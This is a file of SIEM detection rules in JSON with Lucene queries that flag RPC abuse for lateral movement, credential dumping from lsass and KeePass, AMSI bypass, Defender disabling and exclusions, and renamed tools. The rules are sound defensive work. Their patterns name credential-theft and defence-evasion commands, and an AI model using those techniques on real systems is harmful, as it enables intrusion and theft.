{"description": "Detects remote RPC calls to possibly abuse remote encryption service via MS-EFSR", "enabled": false, "false_positives": ["Legitimate usage of remote file encryption"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "ede862af-b511-0fff-6efc-a8943224b141", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Remote Encrypting File System Abuse", "query": "(EventLog:\"RPCFW\" AND winlog.event_id:\"3\" AND InterfaceUuid:(\"df1941c5\\-fe89\\-4e79\\-bf10\\-463657acf44d\" OR \"c681d488\\-d850\\-11d0\\-8c52\\-00c04fd90f7e\"))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Lateral Movement"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", "", "", ""], "timestamp_override": "event.ingested", "author": ["Sagie Dulce", "Dekel Paz"], "license": ""}
{"description": "Detects remote RPC calls to possibly abuse remote encryption service via MS-SRVS", "enabled": false, "false_positives": ["Legitimate remote share creation"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "c322afba-8cf0-240a-84d0-110fa34555ca", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Remote Server Service Abuse", "query": "(EventLog:\"RPCFW\" AND winlog.event_id:\"3\" AND InterfaceUuid:\"4b324fc8\\-1670\\-01d3\\-1278\\-5a47bf6ee188\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Lateral Movement"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", "", "", ""], "timestamp_override": "event.ingested", "author": ["Sagie Dulce", "Dekel Paz"], "license": ""}
{"description": "Detects remote RPC calls to possibly abuse remote printing service via MS-RPRN / MS-PAR", "enabled": false, "false_positives": ["Actual printing"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "3a7e2b31-df5c-8b96-0f2d-f3b274df65a1", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Remote Printing Abuse for Lateral Movement", "query": "(EventLog:\"RPCFW\" AND winlog.event_id:\"3\" AND InterfaceUuid:(\"12345678\\-1234\\-abcd\\-ef00\\-0123456789ab\" OR \"76f03f96\\-cdfd\\-44fc\\-a22c\\-64950a001209\" OR \"0b6edbfa\\-4a24\\-4fc6\\-8a23\\-942b1eca65d1\" OR \"ae33069b\\-a2a8\\-46ee\\-a235\\-ddfd339be281\"))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Lateral Movement"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", "", "", "", "", ""], "timestamp_override": "event.ingested", "author": ["Sagie Dulce", "Dekel Paz"], "license": ""}
{"description": "Detects remote RPC calls to read information about scheduled tasks via AtScv", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "c81b50b1-0f46-6424-7c0c-12aaf561148b", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Remote Schedule Task Recon via AtScv", "query": "((EventLog:\"RPCFW\" AND winlog.event_id:\"3\" AND InterfaceUuid:\"1ff70682\\-0a51\\-30e8\\-076d\\-740be8cee98b\") AND (NOT (OpNum:(\"0\" OR \"1\"))))", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", "", "", "", ""], "timestamp_override": "event.ingested", "author": ["Sagie Dulce", "Dekel Paz"], "license": ""}
{"description": "Detects remote RPC calls to read information about scheduled tasks via SASec", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "4a7f06cf-f895-930a-5842-28d91c3d6d93", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Remote Schedule Task Lateral Movement via SASec", "query": "((EventLog:\"RPCFW\" AND winlog.event_id:\"3\" AND InterfaceUuid:\"378e52b0\\-c0a9\\-11cf\\-822d\\-00aa0051e40f\") AND (NOT (OpNum:(\"0\" OR \"1\"))))", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", "", "", ""], "timestamp_override": "event.ingested", "author": ["Sagie Dulce", "Dekel Paz"], "license": ""}
{"description": "Detects remote RPC calls to read information about scheduled tasks", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "1f8bbd58-b778-0db4-c594-69ab56d0bf29", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Remote Schedule Task Recon via ITaskSchedulerService", "query": "((EventLog:\"RPCFW\" AND winlog.event_id:\"3\" AND InterfaceUuid:\"86d35949\\-83c9\\-4044\\-b424\\-db363231fd0c\") AND (NOT (OpNum:(\"1\" OR \"3\" OR \"4\" OR \"10\" OR \"11\" OR \"12\" OR \"13\" OR \"14\" OR \"15\"))))", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", "", "", ""], "timestamp_override": "event.ingested", "author": ["Sagie Dulce", "Dekel Paz"], "license": ""}
{"description": "Detects remote RPC calls useb by SharpHound to map remote connections and local group membership.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "28b21226-89bd-3f3c-b805-d7956f2b5931", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "SharpHound Recon Account Discovery", "query": "(EventLog:\"RPCFW\" AND winlog.event_id:\"3\" AND InterfaceUuid:\"6bffd098\\-a112\\-3610\\-9833\\-46c3f87e345a\" AND OpNum:\"2\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1087"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", "", "", ""], "timestamp_override": "event.ingested", "author": ["Sagie Dulce", "Dekel Paz"], "license": ""}
{"description": "Detects remote RPC calls useb by SharpHound to map remote connections and local group membership.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "9385d2c4-1843-a299-c8ff-2810ffb97348", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "SharpHound Recon Sessions", "query": "(EventLog:\"RPCFW\" AND winlog.event_id:\"3\" AND InterfaceUuid:\"4b324fc8\\-1670\\-01d3\\-1278\\-5a47bf6ee188\" AND OpNum:\"12\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1033"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", "", "", ""], "timestamp_override": "event.ingested", "author": ["Sagie Dulce", "Dekel Paz"], "license": ""}
{"description": "Detects remote service activity via remote access to the svcctl named pipe", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b00476dd-c2cf-e97c-6bd5-04ee240cf0f5", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Remote Service Activity via SVCCTL Named Pipe", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"5145\" AND winlog.event_data.ShareName:\\\\\\\\\\*\\\\IPC$ AND winlog.event_data.RelativeTargetName:\"svcctl\" AND Accesses:*WriteData*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Lateral Movement", "T1021"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1021", "name": "Remote Services", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Samir Bousseaden"], "license": ""}
{"description": "Detects remote task creation via at.exe or API interacting with ATSVC namedpipe", "author": ["Samir Bousseaden", "@neu5rn"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["*ecs-*"], "interval": "5m", "rule_id": "92069cb2-3440-ab68-4eef-167397169eac", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Remote Task Creation via ATSVC Named Pipe - Zeek", "query": "(event.dataset:\"smb_files\" AND file.path:\\\\\\*\\IPC$ AND file.name.text:\"atsvc\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Lateral Movement", "T1053"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1053", "name": "Scheduled Task/Job", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects remote task creation via at.exe or API interacting with ATSVC namedpipe", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "bcb63000-c093-149e-74ac-0d216eb4b58f", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Remote Task Creation via ATSVC Named Pipe", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"5145\" AND winlog.event_data.ShareName:\\\\\\\\\\*\\\\IPC$ AND winlog.event_data.RelativeTargetName:\"atsvc\" AND Accesses:*WriteData*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Lateral Movement", "T1053"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1053", "name": "Scheduled Task/Job", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Samir Bousseaden"], "license": ""}
{"description": "Detects remote thread creation by PowerShell processes into \"lsass.exe\"", "author": ["oscd.community", "Natalia Shornikova"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "499d0c7c-d223-4de3-5612-b77495a31387", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Potential Credential Dumping Attempt Via PowerShell Remote Thread", "query": "(process.executable.text:(*\\\\powershell.exe OR *\\\\pwsh.exe) AND winlog.event_data.TargetImage:*\\\\lsass.exe)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects remote thread creation from CACTUSTORCH as described in references.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c116d0d1-7d17-545c-5ef9-e8fa9124ce08", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "CACTUSTORCH Remote Thread Creation", "query": "(process.executable:(*\\\\System32\\\\cscript.exe OR *\\\\System32\\\\wscript.exe OR *\\\\System32\\\\mshta.exe OR *\\\\winword.exe OR *\\\\excel.exe) AND winlog.event_data.TargetImage:*\\\\SysWOW64\\\\* AND NOT _exists_:winlog.event_data.StartModule)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1055", "T1059", "T1059", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}, {"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1055", "name": "Process Injection", "reference": ""}, {"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["@SBousseaden (detection)", "Thomas Patzke (rule)"], "license": ""}
{"description": "Detects remote thread creation in KeePass.exe indicating password dumping activity", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "65fbfa27-dcf4-a432-c168-76313c390fb3", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "KeePass Password Dumping", "query": "winlog.event_data.TargetImage:*\\\\KeePass.exe", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1555"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1555", "name": "Credentials from Password Stores", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Timon Hackenjos"], "license": ""}
{"description": "Detects Remote Utilities Host service installation on the target system.", "enabled": false, "false_positives": ["Legitimate use of the tool"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d248aed8-8083-a420-024f-a41c04c8d555", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Remote Utilities Host Service Install", "query": "(winlog.channel:\"System\" AND (Provider_Name:\"Service\\ Control\\ Manager\" AND winlog.event_id:\"7045\") AND ((winlog.event_data.ImagePath:*\\\\rutserv.exe* AND winlog.event_data.ImagePath:*\\-service*) OR winlog.event_data.ServiceName:\"Remote\\ Utilities\\ \\-\\ Host\"))", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects removal of an exported Exchange mailbox which could be to cover tracks from ProxyShell exploit", "author": ["Christian Burkard"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "3801e62e-1d9f-724c-44ce-5f59a2797c80", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Remove Exported Mailbox from Exchange Webserver", "query": "(*Remove-MailboxExportRequest* AND * -Identity * AND * -Confirm \"False\"*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1070"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1070", "name": "Indicator Removal on Host", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects removing immutable file attribute.", "enabled": false, "false_positives": ["Administrator interacting with immutable files (e.g. for instance backups)."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "73403230-18cb-4f44-d30f-2f2908a4ec23", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Remove Immutable File Attribute", "query": "(type:\"EXECVE\" AND a0:*chattr* AND a1:*\\-i*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1222"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1222", "name": "File and Directory Permissions Modification", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Jakob Weinzettl", "oscd.community"], "license": ""}
{"description": "Detects renamed ftp.exe, ftp.exe script execution and child processes ran by ftp.exe", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d38449a4-5b84-0cf5-13b2-f93085b6dbb9", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious ftp.exe", "query": "((process.command_line:*\\-s\\:* AND (process.executable:*ftp.exe OR winlog.event_data.OriginalFileName:\"ftp.exe\")) OR (winlog.event_data.OriginalFileName:\"ftp.exe\" AND (NOT (process.executable:*ftp.exe))) OR process.parent.executable:*ftp.exe)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1059", "T1202"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1202", "name": "Indirect Command Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Victor Sergeev", "oscd.community"], "license": ""}
{"description": "Detects renamed jusched.exe used by cobalt group", "author": ["Markus Neis", "Swisscom"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "5b0a444f-0d8b-c696-2933-2fe48af8aec2", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Renamed jusched.exe", "query": "(winlog.event_data.Description:(\"Java Update Scheduler\" OR \"Java(TM) Update Scheduler\") AND (NOT (process.executable.text:*\\\\jusched.exe)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1036"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1036", "name": "Masquerading", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects renamed powershell", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "4f62ee9b-a452-cbbd-66f4-d7a3a8d96221", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Renamed Powershell Under Powershell Channel", "query": "(HostName:\"ConsoleHost\" AND (NOT (process.command_line:(powershell.exe* OR C\\:\\\\WINDOWS\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe*))))", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Harish Segar", "frack113"], "license": ""}
{"description": "Detects renamed SysInternals tool execution with a binary named ps.exe as used by Dragonfly APT group and documented in TA17-293A report", "enabled": false, "false_positives": ["Renamed SysInternals tool"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "41c42de0-f01e-05f1-e48d-c3ac49701371", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Ps.exe Renamed SysInternals Tool", "query": "process.command_line:\"ps.exe\\ \\-accepteula\"", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1036"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1036", "name": "Masquerading", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects renaming of file while deletion with SDelete tool.", "enabled": false, "false_positives": ["Legitimate usage of SDelete"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "01a82efb-c5a9-d62e-3d88-f3b5f07c6af5", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Secure Deletion with SDelete", "query": "(winlog.channel:\"Security\" AND winlog.event_id:(\"4656\" OR \"4663\" OR \"4658\") AND winlog.event_data.ObjectName:(*.AAA OR *.ZZZ))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1027", "T1070", "T1485", "T1553"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}, {"id": "T1070", "name": "Indicator Removal on Host", "reference": ""}, {"id": "T1553", "name": "Subvert Trust Controls", "reference": ""}]}, {"tactic": {"id": "TA0034", "reference": "", "name": "Impact"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1485", "name": "Data Destruction", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Thomas Patzke"], "license": ""}
{"description": "Detects Request to amsiInitFailed that can be used to disable AMSI Scanning", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "87bad272-2e63-5890-3768-96043fbe7c45", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Powershell AMSI Bypass via .NET Reflection", "query": "process.command_line.text:(*System.Management.Automation.AmsiUtils* OR *amsiInitFailed*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Markus Neis"], "license": ""}
{"description": "Detects requests to disable Microsoft Defender features using PowerShell commands", "enabled": false, "false_positives": ["Possible Admin Activity", "Other Cmdlets that may use the same parameters"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e35a6eba-31c7-e7be-af1a-071b2571ca78", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Powershell Defender Disable Scan Feature", "query": "((process.command_line:(*Add\\-MpPreference\\ * OR *Set\\-MpPreference\\ *) AND process.command_line:(*DisableRealtimeMonitoring\\ * OR *DisableIOAVProtection\\ * OR *DisableBehaviorMonitoring\\ * OR *DisableBlockAtFirstSeen\\ *) AND process.command_line:(*$true* OR *\\ 1\\ *)) OR (process.command_line:(*RGlzYWJsZVJlYWx0aW1lTW9uaXRvcmluZy* OR *Rpc2FibGVSZWFsdGltZU1vbml0b3Jpbmcg* OR *EaXNhYmxlUmVhbHRpbWVNb25pdG9yaW5nI* OR *RGlzYWJsZUlPQVZQcm90ZWN0aW9uI* OR *Rpc2FibGVJT0FWUHJvdGVjdGlvbi* OR *EaXNhYmxlSU9BVlByb3RlY3Rpb24g* OR *RGlzYWJsZUJlaGF2aW9yTW9uaXRvcmluZy* OR *Rpc2FibGVCZWhhdmlvck1vbml0b3Jpbmcg* OR *EaXNhYmxlQmVoYXZpb3JNb25pdG9yaW5nI* OR *RGlzYWJsZUJsb2NrQXRGaXJzdFNlZW4g* OR *Rpc2FibGVCbG9ja0F0Rmlyc3RTZWVuI* OR *EaXNhYmxlQmxvY2tBdEZpcnN0U2Vlbi* OR *ZGlzYWJsZXJlYWx0aW1lbW9uaXRvcmluZy* OR *Rpc2FibGVyZWFsdGltZW1vbml0b3Jpbmcg* OR *kaXNhYmxlcmVhbHRpbWVtb25pdG9yaW5nI* OR *ZGlzYWJsZWlvYXZwcm90ZWN0aW9uI* OR *Rpc2FibGVpb2F2cHJvdGVjdGlvbi* OR *kaXNhYmxlaW9hdnByb3RlY3Rpb24g* OR *ZGlzYWJsZWJlaGF2aW9ybW9uaXRvcmluZy* OR *Rpc2FibGViZWhhdmlvcm1vbml0b3Jpbmcg* OR *kaXNhYmxlYmVoYXZpb3Jtb25pdG9yaW5nI* OR *ZGlzYWJsZWJsb2NrYXRmaXJzdHNlZW4g* OR *Rpc2FibGVibG9ja2F0Zmlyc3RzZWVuI* OR *kaXNhYmxlYmxvY2thdGZpcnN0c2Vlbi*) AND process.command_line:(*RABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgA* OR *QAaQBzAGEAYgBsAGUAUgBlAGEAbAB0AGkAbQBlAE0AbwBuAGkAdABvAHIAaQBuAGcAIA* OR *EAGkAcwBhAGIAbABlAFIAZQBhAGwAdABpAG0AZQBNAG8AbgBpAHQAbwByAGkAbgBnACAA* OR *RABpAHMAYQBiAGwAZQBJAE8AQQBWAFAAcgBvAHQAZQBjAHQAaQBvAG4AIA* OR *QAaQBzAGEAYgBsAGUASQBPAEEAVgBQAHIAbwB0AGUAYwB0AGkAbwBuACAA* OR *EAGkAcwBhAGIAbABlAEkATwBBAFYAUAByAG8AdABlAGMAdABpAG8AbgAgA* OR *RABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgA* OR *QAaQBzAGEAYgBsAGUAQgBlAGgAYQB2AGkAbwByAE0AbwBuAGkAdABvAHIAaQBuAGcAIA* OR *EAGkAcwBhAGIAbABlAEIAZQBoAGEAdgBpAG8AcgBNAG8AbgBpAHQAbwByAGkAbgBnACAA* OR *RABpAHMAYQBiAGwAZQBCAGwAbwBjAGsAQQB0AEYAaQByAHMAdABTAGUAZQBuACAA* OR *QAaQBzAGEAYgBsAGUAQgBsAG8AYwBrAEEAdABGAGkAcgBzAHQAUwBlAGUAbgAgA* OR *EAGkAcwBhAGIAbABlAEIAbABvAGMAawBBAHQARgBpAHIAcwB0AFMAZQBlAG4AIA* OR *ZABpAHMAYQBiAGwAZQByAGUAYQBsAHQAaQBtAGUAbQBvAG4AaQB0AG8AcgBpAG4AZwAgA* OR *QAaQBzAGEAYgBsAGUAcgBlAGEAbAB0AGkAbQBlAG0AbwBuAGkAdABvAHIAaQBuAGcAIA* OR *kAGkAcwBhAGIAbABlAHIAZQBhAGwAdABpAG0AZQBtAG8AbgBpAHQAbwByAGkAbgBnACAA* OR *ZABpAHMAYQBiAGwAZQBpAG8AYQB2AHAAcgBvAHQAZQBjAHQAaQBvAG4AIA* OR *QAaQBzAGEAYgBsAGUAaQBvAGEAdgBwAHIAbwB0AGUAYwB0AGkAbwBuACAA* OR *kAGkAcwBhAGIAbABlAGkAbwBhAHYAcAByAG8AdABlAGMAdABpAG8AbgAgA* OR *ZABpAHMAYQBiAGwAZQBiAGUAaABhAHYAaQBvAHIAbQBvAG4AaQB0AG8AcgBpAG4AZwAgA* OR *QAaQBzAGEAYgBsAGUAYgBlAGgAYQB2AGkAbwByAG0AbwBuAGkAdABvAHIAaQBuAGcAIA* OR *kAGkAcwBhAGIAbABlAGIAZQBoAGEAdgBpAG8AcgBtAG8AbgBpAHQAbwByAGkAbgBnACAA* OR *ZABpAHMAYQBiAGwAZQBiAGwAbwBjAGsAYQB0AGYAaQByAHMAdABzAGUAZQBuACAA* OR *QAaQBzAGEAYgBsAGUAYgBsAG8AYwBrAGEAdABmAGkAcgBzAHQAcwBlAGUAbgAgA* OR *kAGkAcwBhAGIAbABlAGIAbABvAGMAawBhAHQAZgBpAHIAcwB0AHMAZQBlAG4AIA*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects requests to exclude files, folders or processes from Antivirus scanning using PowerShell cmdlets", "enabled": false, "false_positives": ["Possible Admin Activity", "Other Cmdlets that may use the same parameters"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e15177d6-3de7-4d7d-85b3-2b1ff2de930f", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Powershell Defender Exclusion", "query": "(process.command_line:(*Add\\-MpPreference\\ * OR *Set\\-MpPreference\\ *) AND process.command_line:(*\\ \\-ExclusionPath\\ * OR *\\ \\-ExclusionExtension\\ * OR *\\ \\-ExclusionProcess\\ * OR *\\ \\-ExclusionIpAddress\\ *))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
